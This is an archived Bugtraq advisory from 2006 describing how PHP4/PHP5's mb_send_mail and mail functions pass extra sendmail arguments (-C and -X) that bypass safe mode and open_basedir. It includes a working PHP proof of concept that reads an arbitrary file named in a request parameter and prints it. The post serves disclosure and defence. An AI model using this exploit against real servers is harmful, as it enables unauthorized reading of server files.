Bugtraq mailing list archives

(PHP) mb_send_mail security bypass


From: ced.clerget () free fr
Date: 28 Feb 2006 18:52:49 -0000

Vulnerable: PHP4, PHP5
with use of sendmail 8.13.4 ><

When safemode disabled and open_basedir restriction in effect, we can pass extra parameters
to sendmail command in mail function, especially the -C and -X arguments.
-C for alternate configuration file
-X to log all in a file
Can be used to view files, pass the file to view to C argument and store content in file
passed to X argument.

When safemode enabled and open_basedir restriction in effect, we can pass extra parameters
to sendmail command in mb_send_mail function.

Solution:
Use other sendmail command and don't allow extra parameters for mb_send_mail when safemode enabled

<?php
        if (isset($_REQUEST['file'])) {
                $file = "sendlog";
                if (file_exists($file)) unlink($file);
                $extra = "-C ".$_REQUEST['file']." -X ".getcwd()."/".$file;
                mb_send_mail(NULL, NULL, NULL, NULL, $extra);
                echo "<pre>".file_get_contents($file)."</pre>";
        }
?>


Current thread: